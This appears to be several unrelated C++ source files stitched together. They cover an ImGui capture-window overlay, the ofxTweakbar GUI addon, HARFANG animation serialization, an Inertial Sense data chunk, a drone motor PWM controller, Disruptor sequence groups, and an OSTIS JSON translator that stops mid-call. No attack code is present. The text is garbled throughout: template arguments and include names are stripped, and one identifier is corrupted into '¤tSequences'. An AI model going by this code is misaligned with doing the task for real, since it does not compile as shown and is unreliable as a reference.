ImGui::SetNextWindowPos(ImVec2(0, kYOffset)); ImVec4 color(1.f, 0, 0, 1.f); ColorToFloat(slider_->GetBarColor(), &color.x); ImGui::PushStyleColor(ImGuiCol_WindowBg, color); if (!ImGui::Begin("Help Overlay", &m_DrawHelp, ImVec2(0, 0), 1.f, ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoSavedSettings)) { ImGui::PopStyleColor(); ImGui::End(); return; } ImGui::Text("Start/Stop Capture: 'X'"); ImGui::Text("Pan: 'A','D' or \"Left Click + Drag\""); ImGui::Text("Zoom: 'W', 'S', Scroll or \"Ctrl + Right Click + Drag\""); ImGui::Text("Select: Left Click"); ImGui::Text("Measure: \"Right Click + Drag\""); ImGui::Text("Toggle Help: 'H'"); ImGui::End(); ImGui::PopStyleColor(); } //----------------------------------------------------------------------------- ImTextureID TextureId(uint64_t id) { return reinterpret_cast(static_cast(id)); } //----------------------------------------------------------------------------- bool IconButton(uint64_t texture_id, const char* tooltip, ImVec2 size, bool enabled) { ImTextureID imgui_texture_id = TextureId(texture_id); if (!enabled) { ImGui::PushItemFlag(ImGuiItemFlags_Disabled, true); ImGui::PushStyleVar(ImGuiStyleVar_Alpha, ImGui::GetStyle().Alpha * 0.4f); } bool clicked = ImGui::ImageButton(imgui_texture_id, size); if (tooltip != nullptr && ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled)) { ImGui::SetTooltip("%s", tooltip); } if (!enabled) { ImGui::PopItemFlag(); ImGui::PopStyleVar(); } return clicked; } //----------------------------------------------------------------------------- inline double GetIncrementMs(double a_MilliSeconds) { const double Day = 24 * 60 * 60 * 1000; const double Hour = 60 * 60 * 1000; const double Minute = 60 * 1000; const double Second = 1000; const double Milli = 1; const double Micro = 0.001; const double Nano = 0.000001; std::string res; if (a_MilliSeconds < Micro) return Nano; else if (a_MilliSeconds < Milli) return Micro; else if (a_MilliSeconds < Second) return Milli; else if (a_MilliSeconds < Minute) return Second; else if (a_MilliSeconds < Hour) return Minute; else if (a_MilliSeconds < Day) return Hour; else return Day; } //----------------------------------------------------------------------------- void CaptureWindow::RenderTimeBar() { static int numTimePoints = 10; if (time_graph_.GetCaptureTimeSpanUs() > 0) { const float time_bar_height = time_graph_.GetLayout().GetTimeBarHeight(); double millis = time_graph_.GetCurrentTimeSpanUs() * 0.001; double incr = millis / float(numTimePoints - 1); double unit = GetIncrementMs(incr); double normInc = static_cast((incr + unit) / unit) * unit; double startMs = time_graph_.GetMinTimeUs() * 0.001; double normStartUs = 1000.0 * static_cast(startMs / normInc) * normInc; static int pixelMargin = 2; int screenY = getHeight() - static_cast(time_bar_height) - pixelMargin; float dummy, worldY; ScreenToWorld(0, screenY, dummy, worldY); float height = ScreenToWorldHeight(static_cast(GParams.font_size) + pixelMargin); float xMargin = ScreenToworldWidth(4); for (int i = 0; i < numTimePoints; ++i) { double current_micros = normStartUs + i * 1000 * normInc; if (current_micros < 0) continue; std::string text = GetPrettyTime(absl::Microseconds(current_micros)); float worldX = time_graph_.GetWorldFromUs(current_micros); m_TextRenderer.AddText(text.c_str(), worldX + xMargin, worldY, GlCanvas::Z_VALUE_TEXT_UI, Color(255, 255, 255, 255)); Vec2 pos(worldX, worldY); ui_batcher_.AddVerticalLine(pos, height, GlCanvas::Z_VALUE_UI, Color(255, 255, 255, 255), PickingID::LINE); } } } //----------------------------------------------------------------------------- void CaptureWindow::Initialize() { GlCanvas::Initialize(); } addons/AntTweakBar/ofxTweakbar.cpp1-10 #include "ofMain.h" #include "ofxTweakbar.h" #include "ofxTweakbars.h" #include void TW_CALL ofxtweakbar_loadclick(void* pTweakbar) { ofxTweakbar* bar = static_cast(pTweakbar); string load_file = bar->getFile("ofxtweakbar_file")->getSelectedFileName(); if(load_file != "") { ofxTweakbars::load(bar, load_file); } }; void TW_CALL ofxtweakbar_saveclick(void* pTweakbar) { ofxTweakbar* bar = static_cast(pTweakbar); ofxTweakbars::save(bar, bar->getString("ofxtweakbar_fileame")); } ofxTweakbar::ofxTweakbar( std::string sName ,std::string sTitle ,bool bAutoStore ,ofxTweakbars* pTweakbars ,bool isGlobal ) :name(sName) // TODO maybe a bit redundant (used by storages) ,title(sTitle) ,use_autostore(bAutoStore) ,tweakbars(pTweakbars) ,is_global(isGlobal) { // is_global is a kind of hackery flag. I added a global "gui" instance // which actually can only be created after ofxTweakbars (note the "s") // has been initialized. I had to add some swizzles to check this). if(!is_global) { init(); } } void ofxTweakbar::init() { // make sure to remove non-alpha chars from the tweakbar name std::string clean_name; for(int i = 0; i < name.size(); ++i) { if(isalnum(name[i])) { clean_name.push_back(name[i]); } } if(clean_name.size() == 0) { throw "Error while creating a tweakbar; use a normal name :)"; } name = clean_name; filename = name +".dat"; bar = TwNewBar(name.c_str()); setLabel(title); // TODO: We need only one BarData and let it store all properties!! // create a data storage for the position. position = new ofxTweakbarBarData(this, "bardata_position"); position->setType(OFX_TW_TYPE_BAR_POSITION); variables["bardata_position"] = position; // create a data storage for the size size = new ofxTweakbarBarData(this, "bardata_size"); size->setType(OFX_TW_TYPE_BAR_SIZE); variables["bardata_size"] = size; // check if we are open or closed size = new ofxTweakbarBarData(this, "bardata_opened"); size->setType(OFX_TW_TYPE_BAR_OPENED); variables["bardata_opened"] = size; // create data storage for values width values_width = new ofxTweakbarBarData(this, "bardata_valueswidth"); values_width->setType(OFX_TW_TYPE_BAR_VALUES_WIDTH); variables["bardata_valueswidth"] = values_width; // make sure the gui doesnt leave the window. TwDefine(" GLOBAL contained=true "); setColor(44,44,44,200); setFontSize(2); } // TODO figure out how to handle the global gui object ofxTweakbar::~ofxTweakbar() { std::map::iterator it = variables.begin(); while(it != variables.end()) { delete it->second; ++it; } } //TODO: This might be where the blank screen drawing error occurs. void ofxTweakbar::draw() { if(!is_global) { return; } checkInit(); ofxTweakbars::draw(); } void ofxTweakbar::checkInit() { if(!ofxTweakbars::getInstance()->isInitialized()) { ofxTweakbars::getInstance()->init(); ofxTweakbars::getInstance()->addTweakbarToList(name, this); init(); } } ofxTweakbar* ofxTweakbar::setSize(int nWidth, int nHeight) { ostringstream oss; oss << getName() << " size='" << nWidth << " " << nHeight << "'"; TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setColor(int nR, int nG, int nB, int nAlpha) { ostringstream oss; oss << getName() << " color='" << nR << " " << nG << " " << nB << "' alpha=" << nAlpha; TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setFontSize(int nSize) { ostringstream oss; oss << getName() << " fontsize=" << nSize; TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setIconifiable(bool flag) { ostringstream oss; oss << getName() << " iconifiable=" << ((flag) ? "true" : "false"); TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setMovable(bool flag) { ostringstream oss; oss << getName() << " movable=" << ((flag) ? "true" : "false"); TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setResizable(bool flag) { ostringstream oss; oss << getName() << " resizable=" << ((flag) ? "true" : "false"); TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setFontResizable(bool flag) { ostringstream oss; oss << getName() << " fontresizable=" << ((flag) ? "true" : "false"); TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setLabel(std::string sLabel) { ostringstream oss; oss << getName() << " label='" << sLabel << "'"; TwDefine(oss.str().c_str()); return this; } //Jon /** * Adds additional text that can be found at the value's corresponding * entry in the help window. */ ofxTweakbar* ofxTweakbar::setHelp(std::string sLabel) { ostringstream oss; oss << getName() << " help='" << sLabel << "'"; TwDefine(oss.str().c_str()); return this; } //Added by Jon /** * Sets text at the top of the help window. */ ofxTweakbar* ofxTweakbar::setGlobalHelp(std::string sLabel) { ostringstream oss; oss << " GLOBAL help='" << sLabel << "'"; TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setPosition(float nX, float nY) { ostringstream oss; oss << getName() << " position='" << nX << " " << nY << "'"; TwDefine(oss.str().c_str()); return this; } ofxTweakbar* ofxTweakbar::setValuesWidth(int nWidth) { ostringstream oss; oss << getName() << " valueswidth='" << nWidth << "'"; TwDefine(oss.str().c_str()); } ofxTweakbar* ofxTweakbar::fitValues() { ostringstream oss; oss << getName() << " valueswidth='fit'"; TwDefine(oss.str().c_str()); } // load stored state ofxTweakbar* ofxTweakbar::load() { ofxTweakbars::load(this); } TwBar* ofxTweakbar::getBar() { return bar; } ofxTweakbarFloat* ofxTweakbar::addFloat( const char* pName ,float& pValue ,const char* pDef ) { return addFloat(pName, &pValue, pDef); } ofxTweakbarFloat* ofxTweakbar::addFloat( const char* pName ,void* pValue ,const char* pDef ) { checkInit(); ofxTweakbarFloat* type = new ofxTweakbarFloat(this, pName, pValue); TwAddVarRW(bar, type->getName(), TW_TYPE_FLOAT, pValue, pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarBool* ofxTweakbar::addBool( const char* pName ,bool& pValue ,const char* pDef ) { return addBool(pName, &pValue, pDef); } ofxTweakbarBool* ofxTweakbar::addBool( const char* pName ,void *pValue ,const char* pDef ) { checkInit(); ofxTweakbarBool* type = new ofxTweakbarBool(this, pName, pValue); TwAddVarRW(bar, type->getName(), TW_TYPE_BOOLCPP, pValue, pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarInt* ofxTweakbar::addInt( const char* pName ,int& pValue ,const char* pDef ) { return addInt(pName, &pValue, pDef); } ofxTweakbarInt* ofxTweakbar::addInt( const char* pName ,void *pValue ,const char* pDef ) { checkInit(); ofxTweakbarInt* type = new ofxTweakbarInt(this, pName, pValue); TwAddVarRW(bar,type->getName(), TW_TYPE_INT32, pValue, pDef); variables[type->getName()] = type; return type; } ofxTweakbarVec3f* ofxTweakbar::addVec3f( const char* pName ,void *pValue ,const char* pDef ) { checkInit(); ofxTweakbarVec3f* type = new ofxTweakbarVec3f(this, pName, pValue); TwAddVarRW(bar, type->getName(), TW_TYPE_DIR3F, pValue,pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarQuat4f* ofxTweakbar::addQuat4f( const char* pName ,void *pValue ,const char *pDef ) { checkInit(); ofxTweakbarQuat4f* type = new ofxTweakbarQuat4f(this, pName, pValue); TwAddVarRW(bar, type->getName(), TW_TYPE_QUAT4F, pValue,pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarColor3f* ofxTweakbar::addColor3f( const char* pName ,void *pValue ,const char *pDef ) { checkInit(); ofxTweakbarColor3f* type = new ofxTweakbarColor3f(this, pName, pValue); TwAddVarRW(bar, type->getName(), TW_TYPE_COLOR3F, pValue, pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarString* ofxTweakbar::addString( const char* pName ,string& pValue ,const char* pDef ) { return addString(pName, &pValue, pDef); } ofxTweakbarString* ofxTweakbar::addString( const char* pName ,void *pValue ,const char* pDef ) { checkInit(); ofxTweakbarString* type = new ofxTweakbarString(this, pName, pValue); variables[type->getName()] = type; TwAddVarRW(bar, type->getName(), TW_TYPE_STDSTRING, pValue, pDef); type->setLabel(pName); return type; } ofxTweakbarFiles* ofxTweakbar::addFiles( const char* pName ,void *pValue ,const char* pDef ) { checkInit(); ofxTweakbarFiles* type = new ofxTweakbarFiles(this, pName, pValue, pDef); variables[type->getName()] = type; return type; } ofxTweakbarSeparator* ofxTweakbar::addSeparator( const char* pName ,const char* pDef ) { checkInit(); ofxTweakbarSeparator* type = new ofxTweakbarSeparator(this, pName); variables[type->getName()] = type; TwAddSeparator(bar, type->getName(), pDef); return type; } ofxTweakbarButton* ofxTweakbar::addButton( const char* pName ,TwButtonCallback fCallback ,void* pClientData ,const char* pDef ) { checkInit(); ofxTweakbarButton* type = new ofxTweakbarButton(this, pName); TwAddButton(bar, type->getName(), fCallback, pClientData, pDef); variables[type->getName()] = type; type->setLabel(pName); return type; } ofxTweakbarList* ofxTweakbar::addList( const char* pName ,int& pValue ,const char* pDef ) { return addList(pName, &pValue, pDef); } // we assume pDef has a value like: "option one, option two, option three" // or, you can use the addOption function of ofxTweakbarList. ofxTweakbarList* ofxTweakbar::addList( const char* pName ,void* pValue ,const char* pDef ) { checkInit(); ofxTweakbarList* type = new ofxTweakbarList(this, pName, pValue, pDef); // since 1.14 we have TwDefineEnumFromString. TwType enum_type; enum_type = TwDefineEnumFromString(pName, pDef); TwAddVarRW(bar, type->getName(),enum_type, pValue, NULL); variables[type->getName()] = type; return type; } ofxTweakbar* ofxTweakbar::addLoader(string sPath, string sExt) { if(sPath == "") { sPath = ofToDataPath(".", true); } checkInit(); addFiles("ofxtweakbar_file", NULL) ->setPath(sPath,sExt) ->create() ->setLabel("Select file ..."); addButton("load", ofxtweakbar_loadclick, this)->setLabel("LOAD"); return this; } ofxTweakbar* ofxTweakbar::addSaver() { checkInit(); addString("ofxtweakbar_filename",&filename)->setLabel("Save settings as"); addButton("Save", ofxtweakbar_saveclick, this)->setLabel("SAVE"); return this; } std::map ofxTweakbar::getVariables() { return variables; } std::string ofxTweakbar::getName() { return name; } std::string ofxTweakbar::getFileName() { return filename; } void ofxTweakbar::setFileName(std::string sFileName) { filename = sFileName; } bool ofxTweakbar::useAutoStore() { return use_autostore; } ofxTweakbar* ofxTweakbar::open() { std::string cmd = getName() +" iconified=false"; TwDefine(cmd.c_str()); return this; } ofxTweakbar* ofxTweakbar::close() { std::string cmd = getName() +" iconified=true"; TwDefine(cmd.c_str()); return this; } ofxTweakbar* ofxTweakbar::refresh() { TwRefreshBar(getBar()); return this; } string ofxTweakbar::getString(string sName) { map::const_iterator it = variables.find(sName); if(it != variables.end()) { ofxTweakbarString* str = static_cast(it->second); return str->getValue(); } return ""; } ofxTweakbarFiles* ofxTweakbar::getFile(string sName) { map::iterator it = variables.find(sName); if(it != variables.end()) { ofxTweakbarFiles* type = static_cast(it->second); return type; } return NULL; } ofxTweakbar* ofxTweakbar::setButtonAlign(int align) { string bt_align = "GLOBAL buttonalign=left"; if(align == CENTER) { bt_align = "GLOBAL buttonalign=center"; } else if(align == RIGHT) { bt_align = "GLOBAL buttonalign=right"; } TwDefine(bt_align.c_str()); return this; } ofxTweakbar* ofxTweakbar::setIconAlign(int align) { string bt_align = "GLOBAL iconalign=vertical"; if(align == VERTICAL){ bt_align = "GLOBAL iconalign=vertical"; } else if(align == HORIZONTAL){ bt_align = "GLOBAL iconalign=horizontal"; } TwDefine(bt_align.c_str()); return this; } // semmle-extractor-options: --clang int globalInt; int *globalIntAddress() { return __builtin_addressof(globalInt); } harfang/engine/anim_load_binary.cpp // HARFANG(R) Copyright (C) 2021 , NWNC HARFANG. Released under GPL/LGPL/Commercial Licence, see licence.txt for details. #include "engine/animation.h" #include "foundation/format.h" #include "foundation/log.h" namespace hg { void Write(const Writer &iw, const Handle &h, const tVec2 &v) { Write(iw, h, v.x); Write(iw, h, v.y); } void Write(const Writer &iw, const Handle &h, const Vec3 &v) { Write(iw, h, v.x); Write(iw, h, v.y); Write(iw, h, v.z); } void Write(const Writer &iw, const Handle &h, const Vec4 &v) { Write(iw, h, v.x); Write(iw, h, v.y); Write(iw, h, v.z); Write(iw, h, v.w); } void Write(const Writer &iw, const Handle &h, const Quaternion &v) { Write(iw, h, v.x); Write(iw, h, v.y); Write(iw, h, v.z); Write(iw, h, v.w); } void Write(const Writer &iw, const Handle &h, const Color &v) { Write(iw, h, v.r); Write(iw, h, v.g); Write(iw, h, v.b); Write(iw, h, v.a); } template void SaveAnimKey(const Writer &iw, const Handle &h, const AnimKeyT &key) { Write(iw, h, key.t); Write(iw, h, key.v); } template void SaveAnimKey(const Writer &iw, const Handle &h, const AnimKeyHermiteT &key) { Write(iw, h, key.t); Write(iw, h, key.v); Write(iw, h, key.tension); Write(iw, h, key.bias); } template void SaveAnimTrack(const Writer &iw, const Handle &h, const Track &track) { Write(iw, h, track.target); Write(iw, h, numeric_cast(track.keys.size())); for (const auto &key : track.keys) SaveAnimKey(iw, h, key); } template void SaveAnimTracks(const Writer &iw, const Handle &h, const std::vector &tracks) { Write(iw, h, numeric_cast(tracks.size())); for (const auto &track : tracks) SaveAnimTrack(iw, h, track); } void SaveInstanceAnimTrack(const Writer &iw, const Handle &h, const AnimTrackT &track) { Write(iw, h, numeric_cast(track.keys.size())); for (const auto &key : track.keys) { Write(iw, h, key.t); Write(iw, h, key.v.anim_name); Write(iw, h, key.v.loop_mode); Write(iw, h, key.v.t_scale); } } void SaveAnimToBinary(const Writer &iw, const Handle &h, const Anim &anim) { /* version 0: no version byte version 1: initial versioning on 16 bits version 2: instance anim track support */ Write(iw, h, 2); Write(iw, h, anim.t_start); Write(iw, h, anim.t_end); Write(iw, h, anim.flags & 0x0f); SaveAnimTracks(iw, h, anim.bool_tracks); SaveAnimTracks(iw, h, anim.int_tracks); SaveAnimTracks(iw, h, anim.float_tracks); SaveAnimTracks(iw, h, anim.vec2_tracks); SaveAnimTracks(iw, h, anim.vec3_tracks); SaveAnimTracks(iw, h, anim.vec4_tracks); SaveAnimTracks(iw, h, anim.quat_tracks); SaveAnimTracks(iw, h, anim.color_tracks); SaveAnimTracks(iw, h, anim.string_tracks); SaveInstanceAnimTrack(iw, h, anim.instance_anim_track); } // void Read(const Reader &ir, const Handle &h, tVec2 &v) { Read(ir, h, v.x); Read(ir, h, v.y); } void Read(const Reader &ir, const Handle &h, Vec3 &v) { Read(ir, h, v.x); Read(ir, h, v.y); Read(ir, h, v.z); } void Read(const Reader &ir, const Handle &h, Vec4 &v) { Read(ir, h, v.x); Read(ir, h, v.y); Read(ir, h, v.z); Read(ir, h, v.w); } void Read(const Reader &ir, const Handle &h, Quaternion &v) { Read(ir, h, v.x); Read(ir, h, v.y); Read(ir, h, v.z); Read(ir, h, v.w); } void Read(const Reader &ir, const Handle &h, Color &v) { Read(ir, h, v.r); Read(ir, h, v.g); Read(ir, h, v.b); Read(ir, h, v.a); } template void LoadAnimKey(const Reader &ir, const Handle &h, AnimKeyT &key) { Read(ir, h, key.t); Read(ir, h, key.v); } template void LoadAnimKey(const Reader &ir, const Handle &h, AnimKeyHermiteT &key) { Read(ir, h, key.t); Read(ir, h, key.v); Read(ir, h, key.tension); Read(ir, h, key.bias); } template void LoadAnimTrack(const Reader &ir, const Handle &h, Track &track) { Read(ir, h, track.target); uint32_t count; Read(ir, h, count); track.keys.resize(count); for (uint32_t i = 0; i < count; ++i) LoadAnimKey(ir, h, track.keys[i]); SortAnimTrackKeys(track); } template void LoadAnimTracks(const Reader &ir, const Handle &h, std::vector &tracks) { uint32_t count; Read(ir, h, count); tracks.resize(count); for (uint32_t i = 0; i < count; ++i) LoadAnimTrack(ir, h, tracks[i]); } void LoadInstanceAnimTrack(const Reader &ir, const Handle &h, AnimTrackT &track) { uint32_t count; Read(ir, h, count); track.keys.resize(count); for (uint32_t i = 0; i < count; ++i) { auto &key = track.keys[i]; Read(ir, h, key.t); Read(ir, h, key.v.anim_name); Read(ir, h, key.v.loop_mode); Read(ir, h, key.v.t_scale); } } void LoadAnimFromBinary(const Reader &ir, const Handle &h, Anim &anim) { uint16_t version; Read(ir, h, version); if (version > 2) { warn(format("Unsupported animation format version %1").arg(version)); return; } Read(ir, h, anim.t_start); Read(ir, h, anim.t_end); Read(ir, h, anim.flags); LoadAnimTracks(ir, h, anim.bool_tracks); LoadAnimTracks(ir, h, anim.int_tracks); LoadAnimTracks(ir, h, anim.float_tracks); LoadAnimTracks(ir, h, anim.vec2_tracks); LoadAnimTracks(ir, h, anim.vec3_tracks); LoadAnimTracks(ir, h, anim.vec4_tracks); LoadAnimTracks(ir, h, anim.quat_tracks); LoadAnimTracks(ir, h, anim.color_tracks); LoadAnimTracks(ir, h, anim.string_tracks); if (version >= 2) LoadInstanceAnimTrack(ir, h, anim.instance_anim_track); MigrateLegacyAnimationTracks(anim); } } // namespace hg /* MIT LICENSE Copyright (c) 2014-2020 Inertial Sense, Inc. - http://inertialsense.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files(the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions : The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include #include #include "DataChunkSorted.h" cSortedDataChunk::cSortedDataChunk(const char* name) : cDataChunk() { memset(&m_subHdr, 0, sizeof(sChunkSubHeader)); SetName(name); } void cSortedDataChunk::Clear() { cDataChunk::Clear(); m_subHdr.dCount = 0; } int32_t cSortedDataChunk::WriteAdditionalChunkHeader(cISLogFileBase* pFile) { // Write sub header to file return static_cast(pFile->write(&m_subHdr, sizeof(m_subHdr))); } int32_t cSortedDataChunk::ReadAdditionalChunkHeader(cISLogFileBase* pFile) { // Read chunk header return static_cast(pFile->read(&m_subHdr, sizeof(m_subHdr))); } int32_t cSortedDataChunk::GetHeaderSize() { return int32_t((sizeof(sChunkHeader) + sizeof(sChunkSubHeader))); } 1-10 #include "motor.hpp" Motor::Motor(MotorPosition pos){ int p = static_cast(pos); setup(fbconfig.esc_pin[p]); } Motor::Motor(int p){ setup(p); } Motor::~Motor(){ off(); } void Motor::setup(int p){ pin = p; range = PWM_MAX - PWM_MIN; cur = 0; min_pulse = PWM_MIN + (range * fbconfig.min_throttle); max_pulse = PWM_MIN + (range * fbconfig.max_throttle); max_pulse_increase = range * fbconfig.max_throttle_increase; // PWM setup gpioSetPWMfrequency(pin,PWM_FREQUENCY); gpioSetPWMrange(pin,PWM_RANGE); } void Motor::on(){ set_pulse(PWM_MIN); sleep(fbconfig.delay_on); } void Motor::off(){ set_pulse(0); } // prevent ESCs from smoking int Motor::protection(int p){ if(p < PWM_MIN) p = PWM_MIN; if(p > PWM_MAX) p = PWM_MAX; if((p-cur) > max_pulse_increase) p = cur + max_pulse_increase; if(p < min_pulse) p = min_pulse; if(p > max_pulse) p = max_pulse; return p; } void Motor::throttle(float t){ int thr = PWM_MIN + t*range; set_pulse(protection(thr)); } void Motor::accelerate(float a){ int thr = cur + (range * a); set_pulse(protection(thr)); } void Motor::set_pulse(int p){ gpioPWM(pin,p); cur = p; } float Motor::current(){ return (cur-PWM_MIN) / (float)range; } void Motor::start_calibration(){ calibrating = true; } void Motor::calibration_max(){ if(calibrating) set_pulse(PWM_MAX); } void Motor::calibration_min(){ if(calibrating) set_pulse(PWM_MIN); } void Motor::stop_calibration(){ calibrating = false; set_pulse(0); } // arm all ESCs and sleep only once void all_motors_on(Motor& fl,Motor& fr,Motor& bl,Motor& br){ fl.set_pulse(PWM_MIN); fr.set_pulse(PWM_MIN); bl.set_pulse(PWM_MIN); br.set_pulse(PWM_MIN); sleep(fbconfig.delay_on); } void all_motors_on(Motor** m){ all_motors_on(*m[0],*m[1],*m[2],*m[3]); } #include "stdafx.h" #include "SequenceGroups.h" #include "ICursored.h" #include "ISequence.h" namespace Disruptor { void SequenceGroups::addSequences(std::shared_ptr< std::vector< std::shared_ptr< ISequence > > >& sequences, const ICursored& cursor, const std::vector< std::shared_ptr< ISequence > >& sequencesToAdd) { std::int64_t cursorSequence; std::shared_ptr< std::vector< std::shared_ptr< ISequence > > > updatedSequences; std::shared_ptr< std::vector< std::shared_ptr< ISequence > > > currentSequences; do { currentSequences = std::atomic_load_explicit(&sequences, std::memory_order_acquire); updatedSequences = std::make_shared > >(currentSequences->size() + sequencesToAdd.size()); std::copy(currentSequences->begin(), currentSequences->end(), updatedSequences->begin()); cursorSequence = cursor.cursor(); auto index = currentSequences->size(); for (auto&& sequence : sequencesToAdd) { sequence->setValue(cursorSequence); (*updatedSequences)[index++] = sequence; } } while (!std::atomic_compare_exchange_weak(&sequences, ¤tSequences, updatedSequences)); // TODO: explicit memory order cursorSequence = cursor.cursor(); for (auto&& sequence : sequencesToAdd) { sequence->setValue(cursorSequence); } } void SequenceGroups::addSequences(std::vector< std::shared_ptr< ISequence > >& sequences, const ICursored& cursor, const std::vector< std::shared_ptr< ISequence > >& sequencesToAdd) { std::int64_t cursorSequence; auto updatedSize = sequences.size() + sequencesToAdd.size(); cursorSequence = cursor.cursor(); auto index = sequences.size(); sequences.resize(updatedSize); for (auto&& sequence : sequencesToAdd) { sequence->setValue(cursorSequence); sequences[index++] = sequence; } cursorSequence = cursor.cursor(); for (auto& sequence : sequencesToAdd) { sequence->setValue(cursorSequence); } } bool SequenceGroups::removeSequence(std::vector< std::shared_ptr< ISequence > >& sequences, const std::shared_ptr< ISequence >& sequence) { std::int32_t numToRemove = countMatching(sequences, sequence); if (numToRemove == 0) return false; auto oldSize = static_cast< std::int32_t >(sequences.size()); for (auto i = 0, pos = 0; i < oldSize; ++i) { auto&& testSequence = sequences[i]; if (sequence != testSequence) { sequences[pos++] = testSequence; } } sequences.resize(oldSize-numToRemove); return numToRemove != 0; } bool SequenceGroups::removeSequence(std::shared_ptr< std::vector< std::shared_ptr< ISequence > > >& sequences, const std::shared_ptr< ISequence >& sequence) { std::int32_t numToRemove; std::shared_ptr< std::vector< std::shared_ptr< ISequence > > > oldSequences; std::shared_ptr< std::vector< std::shared_ptr< ISequence > > > newSequences; do { oldSequences = std::atomic_load_explicit(&sequences, std::memory_order_acquire); numToRemove = countMatching(*oldSequences, sequence); if (numToRemove == 0) break; auto oldSize = static_cast< std::int32_t >(oldSequences->size()); newSequences = std::make_shared< std::vector< std::shared_ptr< ISequence > > >(oldSize - numToRemove); for (auto i = 0, pos = 0; i < oldSize; ++i) { auto&& testSequence = (*oldSequences)[i]; if (sequence != testSequence) { (*newSequences)[pos++] = testSequence; } } } while (!std::atomic_compare_exchange_weak(&sequences, &oldSequences, newSequences)); return numToRemove != 0; } std::int32_t SequenceGroups::countMatching(const std::vector< std::shared_ptr< ISequence > >& values, const std::shared_ptr< ISequence >& toMatch) { auto numToRemove = 0; for (auto&& value : values) { if (value == toMatch) // Specifically uses identity { numToRemove++; } } return numToRemove; } } // namespace Disruptor /* * This source file is part of an OSTIS project. For the latest info, see http://ostis.net * Distributed under the MIT License * (See accompanying file COPYING.MIT or copy at http://opensource.org/licenses/MIT) */ #include "UiJsonTranslationAgent.hpp" #include "UiJsonTranslator.hpp" #include "keynodes/Keynodes.hpp" #include #include #include using namespace std; using namespace utils; using namespace uiModule; UiJsonTranslator::UiJsonTranslator(ScMemoryContext *m_context) { ms_context = m_context; }; ScTemplateSearchResult UiJsonTranslator::searchPropertyValue(const ScTemplateItemValue &concrete_component) { ScTemplate templ; templ.Triple( ScType::NodeVarClass >> "_property", ScType::EdgeAccessVarPosPerm, concrete_component); templ.Triple( ScType::NodeVarClass >> "_property_class", ScType::EdgeAccessVarPosPerm, "_property"); ScTemplateSearchResult searchResult; templ.TripleWithRelation( "_property", ScType::EdgeDCommonVar, ScType::NodeVar >> "_value", ScType::EdgeAccessVarPosPerm, ScType::NodeVarNoRole >> "_nrel"); templ.TripleWithRelation( "_property_class", ScType::EdgeDCommonVar, ScType::LinkVar >> "_property_class_name", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); ms_context->HelperSearchTemplate(templ, searchResult); return searchResult; }; ScTemplateSearchResult UiJsonTranslator::searchProperty(const ScTemplateItemValue &concrete_component) { ScTemplate scTemplate; scTemplate.Triple( ScType::NodeVar >> "_prop", ScType::EdgeAccessVarPosPerm, concrete_component); scTemplate.Triple( ScType::NodeVar >> "_prop_class", ScType::EdgeAccessVarPosPerm, "_prop"); scTemplate.TripleWithRelation( "_prop", ScType::EdgeDCommonVar, ScType::LinkVar >> "_link_value", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); scTemplate.TripleWithRelation( "_prop_class", ScType::EdgeDCommonVar, ScType::LinkVar >> "_prop_class_name", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); ScTemplateSearchResult result; ms_context->HelperSearchTemplate(scTemplate, result); return result; }; void UiJsonTranslator::setPropertyValue(ScTemplateSearchResult searchResult, ScTemplateSearchResult result, ScMemoryContext *get_context) { for (size_t i = 0; i < searchResult.Size(); i++) { json << "\"" << CommonUtils::readString(get_context, searchResult[i]["_property_class_name"]) << "\":\"" << ms_context->HelperGetSystemIdtf(searchResult[i]["_value"]) << "\","; } for (size_t a = 0; a < result.Size(); a++) { json << "\"" << CommonUtils::readString(get_context, result[a]["_prop_class_name"]) << "\":\"" << CommonUtils::readString(get_context, result[a]["_link_value"]) << "\","; } }; String UiJsonTranslator::getJson(ScTemplateSearchResult searchResult, const ScAddr ¶m, ScMemoryContext *get_context) { json.str(""); json << "{" << "\"component\":\"" << CommonUtils::readString(get_context, searchResult[0]["_name_component"]) << "\","; setPropertyValue(searchPropertyValue(param), searchProperty(param), get_context); json << "}"; String stringJson; stringJson = json.str(); stringJson.erase(stringJson.end() - 2, stringJson.end() - 1); return stringJson; }; ScAddr UiJsonTranslator::getTranslatedUiJsonLink(ScAddr const ¶m, ScMemoryContext *get_context) { ScTemplate templ; templ.Triple( ScType::NodeVarClass >> "_component", ScType::EdgeAccessVarPosPerm, 